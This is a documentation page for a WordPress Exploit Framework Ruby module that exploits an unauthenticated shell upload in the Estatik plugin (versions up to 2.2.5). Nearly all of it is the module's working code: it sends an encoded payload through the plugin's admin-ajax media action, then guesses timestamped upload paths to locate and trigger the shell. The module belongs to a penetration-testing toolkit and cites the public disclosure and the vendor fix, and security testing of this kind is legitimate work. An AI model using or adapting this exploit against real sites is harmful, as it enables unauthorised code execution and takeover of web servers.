class Wpxf::Exploit::EstatikV225ShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::ShellUpload::new
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 6 def initialize super update_info( name: 'Estatik <= 2.2.5 Unauthenticated Shell Upload', author: [ 'White Fir Design', # Discovery and disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8593'], ['URL', 'https://estatik.net/estatik-released-security-updates/'] ], date: 'Aug 14 2016' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 23 def check check_plugin_version_from_changelog('estatik', 'readme.txt', '2.3.0') end
expected_upload_response_code()
click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 39 def expected_upload_response_code 500 end
payload_body_builder()
click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 31 def payload_body_builder @start_timestamp = Time.now.to_i builder = Utility::BodyBuilder.new builder.add_field('action', 'es_prop_media_images') builder.add_file_from_string('es_media_images[]', payload.encoded, payload_name) builder end
possible_payload_upload_locations()
click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 43 def possible_payload_upload_locations locations = [] base_upload_uri = normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m')) upload_timestamp_range.each do |timestamp| locations.push(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}")) end locations end
uploader_url()
click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 27 def uploader_url wordpress_url_admin_ajax end